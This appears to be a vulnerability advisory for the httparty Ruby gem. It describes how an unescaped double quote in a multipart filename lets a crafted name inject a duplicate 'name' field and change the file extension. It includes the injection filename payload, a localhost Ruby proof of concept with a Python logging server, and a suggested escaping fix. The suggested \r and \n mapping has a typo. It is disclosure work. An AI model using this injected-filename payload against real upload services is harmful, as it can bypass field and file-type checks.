Impact

I found "multipart/form-data request tampering vulnerability" caused by Content-Disposition "filename" lack of escaping in httparty.

httparty/lib/httparty/request > body.rb > def generate_multipart

By exploiting this problem, the following attacks are possible

• An attack that rewrites the "name" field according to the crafted file name, impersonating (overwriting) another field.
• Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename

For example, this vulnerability can be exploited to generate the following Content-Disposition.

Normal Request example:
normal input filename: abc.txt

generated normal header in multipart/form-data
Content-Disposition: form-data; name="avatar"; filename="abc.txt"

Malicious Request example
malicious input filename: overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt

generated malicious header in multipart/form-data:
Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"

The Abused Header has multiple name ( avatar & foo ) fields and the "filename" has been rewritten from *.txt to *.sh .

These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.
I have confirmed that the attack succeeds, at least in the following frameworks

• Spring (Java)
• Ktor (Kotlin)
• Ruby on Rails (Ruby)

The cause of this problem is the lack of escaping of the " (Double-Quote) character in Content-Disposition > filename.

WhatWG's HTML spec has an escaping requirement.

https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

Patches

As noted at the beginning of this section, encoding must be done as described in the HTML Spec.

https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

Therefore, it is recommended that Content-Disposition be modified by either of the following

Before:
Content-Disposition: attachment;filename="malicious.sh";dummy=.txt

After:
Content-Disposition: attachment;filename="%22malicious.sh%22;dummy=.txt"

file_name.gsub('"', '%22')

Also, as for \r, \n, URL Encode is not done, but it is not newlines, so it seemed to be OK.
However, since there may be omissions, it is safer to URL encode these as well, if possible.
( \r to %0A and \d to %0D )

PoC

PoC Environment

OS: macOS Monterey(12.3)
Ruby ver: ruby 3.1.2p20
httparty ver: 0.20.0
(Python3 - HTTP Request Logging Server)

PoC procedure

(Linux or MacOS is required.
This is because Windows does not allow file names containing " (double-quote) .)

1. Create Project

$ mkdir my-app
$ cd my-app
$ gem install httparty

2. Create malicious file

$ touch 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'

3. Generate Vuln code

$ vi example.rb

require 'httparty'

filename = 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'

HTTParty.post('http://localhost:12345/',
  body: {
    name: 'Foo Bar',
    email: 'example@email.com',
    avatar: File.open(filename)
  }
)

4. Run Logging Server

I write Python code, but any method will work as long as you can see the HTTP Request Body.
(e.g. Debugger, HTTP Logging Server, Packet Capture)

$ vi logging.py

from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler

class LoggingServer(BaseHTTPRequestHandler):

    def do_POST(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write("ok".encode("utf-8"))

        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                     str(self.path), str(self.headers), post_data.decode('utf-8'))
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

ip = '127.0.0.1'
port = 12345

server = HTTPServer((ip, port), LoggingServer)
server.serve_forever()

$ python logging.py

5. Run & Logging server

$ run example.rb

Return Request Header & Body:

User-Agent: Ruby
Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz
Connection: close
Host: localhost:12345
Content-Length: 457

--------------------------F857UcxRc2J1zFOz
Content-Disposition: form-data; name="name"

Foo Bar
--------------------------F857UcxRc2J1zFOz
Content-Disposition: form-data; name="email"

example@email.com
--------------------------F857UcxRc2J1zFOz
Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"
Content-Type: text/plain

abc
--------------------------F857UcxRc2J1zFOz--

Content-Disposition:

Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"

• name fields is duplicate (avator & foo)
• filename & extension tampering ( .txt --> .sh )

References

1. I also include a similar report that I previously reported to Firefox.
   https://bugzilla.mozilla.org/show_bug.cgi?id=1556711

2. I will post some examples of frameworks that did not have problems as reference.

Golang
https://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144

Spring
https://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267

Symphony
https://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133

For more information

If you have any questions or comments about this advisory:

• Email us at kumagoro_alice@yahoo.co.jp